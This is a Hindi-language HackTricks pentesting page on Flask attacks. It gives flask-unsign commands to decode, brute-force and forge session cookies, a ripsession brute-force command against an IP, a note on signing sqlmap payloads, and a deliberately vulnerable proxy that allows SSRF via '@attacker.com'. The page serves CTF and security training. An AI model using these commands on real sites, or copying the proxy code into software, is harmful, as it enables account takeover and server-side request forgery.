4.0 KiB
Flask
{{#include ../../banners/hacktricks-training.md}}
संभवतः यदि आप एक CTF खेल रहे हैं तो एक Flask एप्लिकेशन SSTI** से संबंधित होगा।**
Cookies
डिफ़ॉल्ट कुकी सत्र का नाम session
है।
Decoder
ऑनलाइन Flask कुकी डिकोडर: https://www.kirsle.net/wizards/flask-session.cgi
Manual
कुकी के पहले भाग को पहले बिंदु तक प्राप्त करें और इसे Base64 डिकोड करें>
echo "ImhlbGxvIg" | base64 -d
कुकी को एक पासवर्ड का उपयोग करके भी साइन किया गया है
Flask-Unsign
कमांड लाइन टूल जो एक Flask एप्लिकेशन के सत्र कुकीज़ को प्राप्त करने, डिकोड करने, ब्रूट-फोर्स करने और बनाने के लिए गुप्त कुंजी का अनुमान लगाकर उपयोग किया जाता है।
{{#ref}} https://pypi.org/project/flask-unsign/ {{#endref}}
pip3 install flask-unsign
कुकी डिकोड करें
flask-unsign --decode --cookie 'eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8'
ब्रूट फोर्स
flask-unsign --wordlist /usr/share/wordlists/rockyou.txt --unsign --cookie '<cookie>' --no-literal-eval
साइनिंग
flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME'
पुराने संस्करणों का उपयोग करके साइन करना
flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME' --legacy
RIPsession
कमान्ड लाइन टूल जो flask-unsign के साथ बनाए गए कुकीज़ का उपयोग करके वेबसाइटों पर ब्रूट-फोर्स करता है।
{{#ref}} https://github.com/Tagvi/ripsession {{#endref}}
ripsession -u 10.10.11.100 -c "{'logged_in': True, 'username': 'changeMe'}" -s password123 -f "user doesn't exist" -w wordlist.txt
Flask सत्र कुकी में SQLi SQLmap के साथ
यह उदाहरण sqlmap eval
विकल्प का उपयोग करता है ताकि फ्लास्क के लिए sqlmap पेलोड को स्वचालित रूप से साइन किया जा सके एक ज्ञात गुप्त कुंजी का उपयोग करके।
SSRF के लिए Flask प्रॉक्सी
इस लेख में यह समझाया गया है कि कैसे Flask एक अनुरोध की अनुमति देता है जो चरित्र "@" से शुरू होता है:
GET @/ HTTP/1.1
Host: target.com
Connection: close
निम्नलिखित परिदृश्य में:
from flask import Flask
from requests import get
app = Flask('__main__')
SITE_NAME = 'https://google.com/'
@app.route('/', defaults={'path': ''})
@app.route('/<path:path>')
def proxy(path):
return get(f'{SITE_NAME}{path}').content
app.run(host='0.0.0.0', port=8080)
कुछ ऐसा "@attacker.com" पेश करने की अनुमति दे सकता है जिससे SSRF हो सके।
{{#include ../../banners/hacktricks-training.md}}